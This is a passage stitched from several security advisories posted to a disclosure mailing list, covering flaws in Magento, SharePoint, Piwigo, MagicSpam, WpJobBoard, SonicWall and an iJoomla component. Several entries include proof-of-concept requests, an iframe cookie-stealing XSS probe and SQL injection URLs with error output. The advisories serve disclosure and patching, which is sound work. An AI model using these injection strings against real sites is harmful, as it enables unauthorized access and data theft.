[FD] Magento Commerce - SSRF & XSPA Web Vulnerability
Document Title: === Magento Commerce - SSRF & XSPA Web Vulnerability References (Source): http://www.vulnerability-lab.com/get_content.php?id=1631 Release Date: = 2018-01-03 Vulnerability Laboratory ID (VL-ID): 1631 Common Vulnerability Scoring System: 4.7 Vulnerability Class: Server Side Request Forgery Current Estimated Price: 1.000€ - 2.000€ Product & Service Introduction: === Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites. Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability inside our system, please tell us right away. ( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security ) Abstract Advisory Information: == The Vulnerability Laboratory Core Research Team discovered SSRF/XSPA vulnerability in the official Magento Commerce online service web-application. Vulnerability Disclosure Timeline: == 2018-01-03: Public Disclosure (Vulnerability Laboratory) Discovery Status: = Published Affected Product(s): Ebay Inc. Product: Magento - Web Application Service 2015 Q4 Exploitation Technique: === Remote Severity Level: === Medium Technical Details & Description: SSRF/XSPA vulnerability has been discovered in the official Magento Commerce online service web-application. The vulnerability allows remote attackers to perform malicious server-side requests to compromise the computer system or to gain unauthorized access to data or sensitive information. The XSPA & SSRF allows to use the process functionality of the magento engine as port scanner for the local or any random remote machine in the same network. The issue is the first documented xspa and ssrf issue in the magento service web-applications. The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.7. Exploitation of the ssrf/xspa vulnerability requires a privileged web-application user account and no user interaction. Successful exploitation of the issue can result in web-server or web-application compromise or unauthorized malicious interactions. Proof of Concept (PoC): === Remote attackers are able to perform a local scan on the protected web-server firewall to magento.com and magentocommerce.com For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Open http://magento.com/security-patch (Magento Shoplift Bug Tester) 2. Write in the website input www.magento.com:22 3. Click to bug scan for the port 22 4. Successful reproduce of the issue! --- Scan Log NMAP --- Starting Nmap 6.00 at 2016-08-15 15:10 EEST Initiating Ping Scan at 15:10 Scanning magento.com (66.211.190.110) [4 ports] Completed Ping Scan at 15:10, 0.17s elapsed (1 total hosts) Initiating SYN Stealth Scan at 15:10 Scanning magento.com (66.211.190.110) [100 ports] Discovered open port 80/tcp on 66.211.190.110 Discovered open port 443/tcp on 66.211.190.110 Discovered open port 8443/tcp on 66.211.190.110 Discovered open port 8080/tcp on 66.211.190.110 Completed SYN Stealth Scan at 15:10, 2.38s elapsed (100 total ports) ...... Note: SSRF/XSPA allows to scan the local host to discovered the open service ports (References: https://cwe.mitre.org/data/definitions/918.html) Solution - Fix & Patch: === The vulnerability has been resolved as bug bounty issue by the magento security team in 2017. Security Risk: == The security risk of the ssrf/xspa web vulnerability that allows to scan the infrastructure behind the firewall is estimated as medium (CVSS 4.7). Credits & Authors: == Vulnerability Laboratory [Core Research Team] (resea...@vulnerability-lab.com) [www.vulnerability-lab.com] Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab
[FD] Microsoft Sharepoint 2013 - Limited Access Permission Bypass Vulnerability
Document Title: === Microsoft Sharepoint 2013 - Limited Access Permission Bypass Vulnerability References (Source): https://www.vulnerability-lab.com/get_content.php?id=2111 Release Date: = 2018-01-07 Vulnerability Laboratory ID (VL-ID): 2111 Common Vulnerability Scoring System: 4.8 Vulnerability Class: Filter or Protection Mechanism Bypass Current Estimated Price: 1.000€ - 2.000€ Abstract Advisory Information: == An independent vulnerability laboratory researcher discovered a permission bypass vulnerability in the Microsoft Sharepoint online service web-application. Vulnerability Disclosure Timeline: == 2018-01-07: Public Disclosure (Vulnerability Laboratory) Discovery Status: = Published Affected Product(s): Microsoft Corporation Product: Sharepoint Online Service - (Web-Application) 2013 Exploitation Technique: === Local Severity Level: === Medium Technical Details & Description: A permission level bypass web vulnerability has been identified in the microsoft sharePoint 2013 online service web-application & maybe prior versions. The security vulnerability allows attackers to open or view restricted items in the site or library. An authenticated user can bypass `Limited Access` permissions to browse a page or library to access a specific content item that was restricted. Proof of Concept (PoC): === POC 1: 1. Search for specific words inside web & mobile sharepoint search box: `password` `pass` `user` `domainuser` `name | lastname` ... [~] web search: http://site/BSearch/results.aspx [~] mobie search: http://site/_layouts/mobile/MobileResults.aspx example : http://site/BSearch/results.aspx?k=password example : http://site/BSearch/results.aspx?k="NSA1377"; example : http://site/_layouts/mobile/MobileResults.aspx?k=pass example : http://site/_layouts/mobile/MobileResults.aspx?k=BOB 2. The page shown some of sharepoint's search results like restricted specific item, site, library urls etc 3. so click at the urls to access|viwe|read site page and other restricted library and items POC 2: After capturing packets between our system and the sharepoint site (use fiddler or burpsiute, wireshark ...) We have access to items, list, pages, sites urls like as follows: http://site/IT/Lists/List70/AllItems.aspx Access to restricted items & lists by make /LIST#/ urls Example: http://site/IT/Lists/List100/AllItems.aspx http://site/IT/Lists/List101/AllItems.aspx http://site/IT/Lists/List102/AllItems.aspx Security Risk: == The security risk of the bypass vulnerability in the microsoft sharepoint 2013 application is estimated as medium (CVSS 4.8). Credits & Authors: == Behnam Vanda [beni.va...@gmail.com] [redhathackers] - https://www.vulnerability-lab.com/show.php?user=Behnam+Vanda Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php- vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/
[FD] Magento Connect T1 - (Claim) Persistent Vulnerability
.magentocommerce.com/magento-connect/claim/claim/new/] Cookie X-Forwarded-For[8.8.8.8] Connection[keep-alive] Post Data: claim%5Bclaimed_extension_url%5D[%22%3E%3Ciframe+src%3D%22javascript%3Aalert%28document.cookie%29%22%3E%3C%2Fiframe%3E] claim%5Boriginal_extension_url%5D[] claim%5Bdescription%5D[] claim%5Bdigital_signature%5D[] Response Headers: Server[nginx] Content-Type[text/html; charset=UTF-8] Connection[keep-alive] P3P[CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Set-Cookie[frontend=4edl2ftb4c6qoe11lieojciaj7; path=/magento-connect/; domain=www.magentocommerce.com] Content-Length[71413] Solution - Fix & Patch: === The security vulnerability is marked as fixed within 2017 Q1 - 2017 Q4 by the magento developer team. Security Risk: == The security rsik of the persistent input validation web vulnerability is estimated as medium (CVSS 3.8). Credits & Authors: == Vulnerability-Lab [ad...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php- vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Piwigo v2.8.2 & 2.9.2 CMS - Multiple Cross Site Vulnerabilities
ile or directory in /home/x/public_html/x/piwigo/admin/languages.php on line 48 Warning: include(): Failed opening './admin/languages_>"<[MALICIOUS PAYLOAD EXECUTION!]>.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /home/x/public_html/x/piwigo/admin/languages.php on line 48 http://www.w3.org/TR/html4/strict.dtd";> Just another Piwigo gallery :: Piwigo Administration Vulnerable Source: to (form) <<><[MALICIOUS PAYLOAD EXECUTION!]> "> Update in progress... <<><[MALICIOUS PAYLOAD EXECUTION!]> "> Vulnerable Source: installstatus (error exception) Plugins list Check for updates Other plugins available An error occured during the files (<[MALICIOUS PAYLOAD EXECUTION!]>) extraction. Please check "plugins" folder and sub-folders permissions (CHMOD). Reference(s): http://piwigo.localhost:8080/ http://piwigo.localhost:8080/piwigo/ http://piwigo.localhost:8080/piwigo/admin.php Solution - Fix & Patch: === The xss web vulnerabilities can be patched by a secure restriction to the parameter inputs in GET method requests. Sanitize the vulnerable parameters and disallow the usage of special chars to prevent further script code injection attacks. Parse the output locations in the status messages or exception to resolve the client-side vulnerabilities. Escape the conetnts to deliver in a secure format. Security Risk: == The security risk of the client-side cross site scripting web vulnerabilities in the content management system are estimated as medium. (CVSS 3.4) Credits & Authors: == Benjamin K.M. [b...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php- vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] MagicSpam 2.0.13 - Insecure File Permission Vulnerability
Document Title: === MagicSpam 2.0.13 - Insecure File Permission Vulnerability References (Source): https://www.vulnerability-lab.com/get_content.php?id=2113 Release Date: = 2018-01-12 Vulnerability Laboratory ID (VL-ID): 2113 Common Vulnerability Scoring System: 2.8 Vulnerability Class: Privacy Violation - Information Disclosure Current Estimated Price: 500€ - 1.000€ Product & Service Introduction: === MagicSpam comes fully-integrated with any Plesk 12+ package, blocking spam at the edge before it gets a chance to be filtered. There’s no need to change DNS or MX records. And your protection comes ready to go with complete logging, statistics, and custom controls. (Copy of the Homepage: https://www.plesk.com/extensions/magicspam/ ) Abstract Advisory Information: == An independent vulnerability laboratory researcher discovered a insecure file permission vulnerability in the MagicSpam 2.0.13-1 plesk extension. Vulnerability Disclosure Timeline: == 2017-01-12: Public Disclosure (Vulnerability Laboratory) Discovery Status: = Published Affected Product(s): LinuxMagic Product: MagicSpam - Plesk Extension 2.0.13-1 Exploitation Technique: === Remote Severity Level: === Low Technical Details & Description: An insecure file permission access vulnerability has been discovered in the MagicSpam 2.0.13-1 plesk extension. The vulnerability allows an attacker to access sensitive information like emails without permission or authentication. Plesk panel features the freemium extension MagicSpam providing industry-leading spam protection technologies. MagicSpam is keeping a detailed log of all e-mail messages processed under directory /var/log/magicspam/ in Ubuntu installations. A log file is created with the name mslog, with readable permissions for everyone, and rotated daily. The file will reveal the full list of mailboxes on the server (provided they received or sent at least one message in the past). The security risk of the permission vulnerability is estimated as low with a common vulnerability scoring system count of 2.8. Successful exploitation of the file permission security vulnerability results in information disclosure of emails. Proof of Concept (PoC): === The insecure file permission vulnerability can be exploited by remote attackers without user account or user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. $ id uid=1002(marco) gid=1011(marco) groups=1011(marco) $ cd /var/log/magicspam/ $ ls -l -rw-r--r-- 1 magicspam root 348937 Jan 10 11:50 mslog $ tail -n1 mslog 2018-01-10 11:51:26 magicspam-daemon[335]: HAM: mua=no,ip=[93.94.32.17:mail15.clab99a.contactlab.it],helo=,from=<564020151.35960.1000...@t.contactlab.it>,rcpt= Solution - Fix & Patch: === The security vulnerability can be resolved byan exclude of the emails in the list of the affected application log files. Another solution could be to integration an authentication mechanism for the log file of the magic spam web-application. Security Risk: == The security risk of the insecure file permission vulnerability in the plesk extension magic spam is estimated as medium (CVSS 2.8). Credits & Authors: == Marco Marsala [ma...@thenetworksolution.it] - https://www.vulnerability-lab.com/show.php?user=Marco+Marsala Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, inv
[FD] Flash Operator Panel v2.31.03 - Command Execution Vulnerability
llforward&command Solution - Fix & Patch: === The command injection web vulnerability can be patched by a secure approval of the command parameter in the index.php file GET method request. Sanitize the command path variable and disallow the usage of special chars to prevent further command injection attacks. Security Risk: == The security risk of the command injection vulnerability via path variable in the web-application is estimated as high (CVSS 6.2). Credits & Authors: == Benjamin K.M. [b...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php- vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] WpJobBoard v4.4.4 - Multiple SQL Injection Vulnerabilities
(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))> https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=job_title+desc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))&order=asc> --- PoC Error Exception Logs --- Fatal error: Uncaught exception 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 - Fatal error: Uncaught exception 'wp_wpjb_job' with message 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 Reference(s): https://wp-jobboard.localhost:8080/ https://wp-jobboard.localhost:8080/wp-admin/ https://wp-jobboard.localhost:8080/wp-admin/admin.php https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort= https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order= Solution - Fix & Patch: === The vulnerability can be patched by a restriction of the vulnerable sort and order parameters in the web-applicatoon GET method request. Disallow the usage of special chars to prevent malicious inputs and use a prepared statement to resolve the sql-injection vulnerability. Disallow to display errors by default configuration and include an exception-handling to cover further malicious attacks. Note: The sql-injections has been prevented in the version 4.9.1 up to the latest released version 5.1 of the wpjobboard wordpress web-application plugin. Security Risk: == The security risk of the remote sql-injection web vulnerabilities in the wpjobboard web-application is estimated as high (CVSS 6.0). Credits & Authors: == Vulnerability-Lab [resea...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ===== The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php- vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] SonicWall SonicOS NSA Web Firewall - Multiple Web Vulnerabilities
dapUsrGrpMbrAttr[member] ldapUsrGrpMbrType[0] ldapUsrGrpOtherMatchAttr[primaryGroupToken] cbox_ldapUsrUseOtherGrpAttr[] ldapUsrDomain[sjcolo.local] usrTreesSel[MALICIOUS PAYLOAD INJECT!] ldapTreesAutoConfDomain[] ldapAllowReferrals_0[on] ldapAllowReferrals_1[on] ldapAllowReferrals_2[on] ldapAllowReferrals_3[on] cbox_ldapAllowReferrals_0[] cbox_ldapAllowReferrals_1[] cbox_ldapAllowReferrals_2[] cbox_ldapAllowReferrals_3[] userRadiusCheckLocal[on] userRadiusUserGrpsLocal[on] selDfltUserGroup[2] ldapUsrGrpMirroring[on] ldapUsrGrpMirrorPeriod[x] ldapUsrGrpMirrorWhat[0] cbox_userRadiusCheckLocal[] cbox_userRadiusUserGrpsLocal[] cbox_ldapUsrGrpMirroring[] ldapRelayEnable[on] ldapRelayOnLAN[on] ldapRelayOnWAN[on] ldapRelayOnVPN[on] ldapRelaySecret[] ldapRelayLegacyVpnUsrGrp[] ldapRelayLegacyVpnClientGrp[] ldapRelayLegacyL2TPUsrGrp[] ldapRelayLegacyInetUsrGrp[] ldapRelayHashSecret[] cbox_ldapRelayEnable[] cbox_ldapRelayOnLAN[] cbox_ldapRelayOnWAN[] cbox_ldapRelayOnDMZ[] cbox_ldapRelayOnWLAN[] cbox_ldapRelayOnVPN[] Radius_user[] Radius_passwd[] remAuthTstProtocol[0] TestInfo[] remAuthTstType[-1] rNum[28F5903AD031CF055855192B2F30CC6E] testType[1] testDesc[LDAP+server] ldapUsrsTree_1[MALICIOUS PAYLOAD INJECT!] Response Header: Server[localhost] Expires[-1] Content-Type[text/html;charset=UTF-8] - Status: 200[OK] GET https://utm_waf.localhost:8512/x[MALICIOUS PAYLOAD EXECUTION!] Mime Type[unknown] Request Header: Host[utm_waf.localhost:8512] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://utm_waf.localhost:8512/ssoAuthProps.html] Cookie[curUrl=usersSettingsView.html; curUsr=; tabbedWinAlert=done; 777=0; 7510=0] --- PoC Session Logs [POST] --- Status: 200[OK] POST https://utm_waf.localhost:8512/main.cgi Mime Type[text/html] Request Header: Host[utm_waf.localhost:8512] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Referer[https://utm_waf.localhost:8512/addServiceObjDlg.html] Cookie[curUrl=usersSettingsView.html; curUsr=; tabbedWinAlert=done; 777=2; 7510=0] Connection[keep-alive] POST-Daten: csrfToken[] svcObjId_-1[MALICIOUS INJECTED PAYLOAD!] svcObjType_-1[1] svcObjProperties_-1[4878] svcObjIpType_-1[ssh] svcObjPort1_-1[1] svcObjPort2_-1[1] svcObjManagement_-1[0] svcObjHigherPrecedence_-1[0] Response Header: Server[localhost] Content-Type[text/html;charset=UTF-8] - Status: 200[OK] GET https://utm_waf.localhost:8512/x[MALICIOUS PAYLOAD EXECUTION!] Mime Type[text/html] Request Header: Host[utm_waf.localhost:8512] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0] Referer[https://utm_waf.sonicwall:8512/ssoAuthProps.html] Cookie[curUrl=usersSettingsView.html; curUsr=; tabbedWinAlert=done; 777=3; 7510=0] Connection[keep-alive] Response Header: Server[SonicWALL] Content-Type[text/html;charset=UTF-8] Reference(s): https://utm_waf.sonicwall:8512/ https://utm_waf.localhost:8512/main.cgi https://utm_waf.localhost:8512/ldapProps.html https://utm_waf.sonicwall:8512/ssoAuthProps.html https://utm_waf.localhost:8512/addServiceObjDlg.html Solution - Fix & Patch: === The vulnerability can be patched by a parse and encode of the vulnerable `Host Name / IP Address`, `Client Name/IP Address` and `Proxy Forward To` input fields. Encode the following values `ldapServerBindName - usrTreesSel - ldapUsrsTree_1` and `svcObjId` to prevent an inject via POST method. Restrict the input fields and disallow the usage of special chars. Encode in the last step the output listing locations in the `SSO Agents `,`Terminal Services Agent Settings` and `RADIUS Accounting Single-Sign-On` modules to prevent the execution points of the vulnerabilities. Adjust the filter procedure and setup a more seure exception-handling to interact during an invalid execution or unhandled exception. Note: All the security issues are marked as resolved by dell sonicwall with several updates until 2017 Q4. Security Risk: == The security risk of the application-side input validation web vulnerability and the filter bypass issue are estimated as medium. (CVSS 4.5) Credits & Authors: ====== Benjamin K.M. [b...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Be
[FD] Wickr Inc - App Clock & Message Deletion Glitch P2 - Bug Bounty
Wickr Inc - App Clock & Message Deletion Glitch P2 - Bug Bounty (Document) [PDF] URL: https://www.vulnerability-lab.com/get_content.php?id=2107 Vulnerability Magazine: https://www.vulnerability-db.com/?q=articles/2018/01/04/wickr-inc-app-clock-message-deletion-glitch -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] iJoomla com_adagency 6.0.9 - SQL Injection Vulnerabilities
vertis.user_id, user.name, user.email, user.block, user.username, user.registerDate, count(c.id) count FROM #__ad_agency_advertis as advertis LEFT OUTER JOIN #__users as user on user.id=advertis.user_id LEFT JOIN #__ad_agency_campaign as c on c.aid=advertis.aid WHERE 1=1 AND user.id<>'' AND advertis.approved LIKE '%-1'Y%' GROUP BY advertis.aid ORDER BY advertis.ordering ASC - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Y-1'' AND cb.`campaign_id`=3 GROUP BY b.id ORDE' at line 15 SQL=SELECT b . * , camp.id campaign_id, camp.name campaign_name, a.aid AS advertiser_id2, a.company AS advertiser, concat( width, 'x', height ) AS size_type, m.id mid, m.title zone_name FROM #__ad_agency_banners AS b LEFT OUTER JOIN #__ad_agency_advertis AS a ON b.advertiser_id = a.aid LEFT JOIN #__ad_agency_campaign_banner AS cb ON cb.banner_id = b.id LEFT JOIN #__ad_agency_campaign AS camp ON camp.id = cb.campaign_id LEFT JOIN #__ad_agency_order_type AS p ON camp.otid = p.tid LEFT JOIN #__modules AS m ON m.id = cb.zone WHERE 1=1 AND b.approved = 'Y-1'' AND cb.`campaign_id`=3 GROUP BY b.id ORDER BY b.ordering ASC , b.id DESC LIMIT 0,30 --- PoC Session Logs [GET] --- Status: 200[OK] GET http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAds&status_select=Y-1%27[SQL-INJECTION VULNERABILITY!]**&camp_id=3 Mime Type[text/html] Request Header: Host[joomla.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0] Cookie[dacce502d8fa40f12fdba764da41b8cf=8uusag3vgk0544u8phf9c4oa11; currentURI=http%3A%2F%2Fjoomla.localhost:8080%2F; em_cdn_uid=t%3D1471798050244%26u%3D11f009a55e864578928adec2c70fa876; 350a4e86045327a856d5c0333a428604=ukf6ldgrs5ekdrukh8p8s422k0; activeProfile=0] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Server[Apache] X-Powered-By[PHP/7.0.9] P3P[CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html; charset=UTF-8] - Status: 200[OK] GET http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status=-1%27Y[SQL-INJECTION VULNERABILITY!]** Mime Type[text/html] Request Header: Host[joomla.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Cookie[jsju=0; 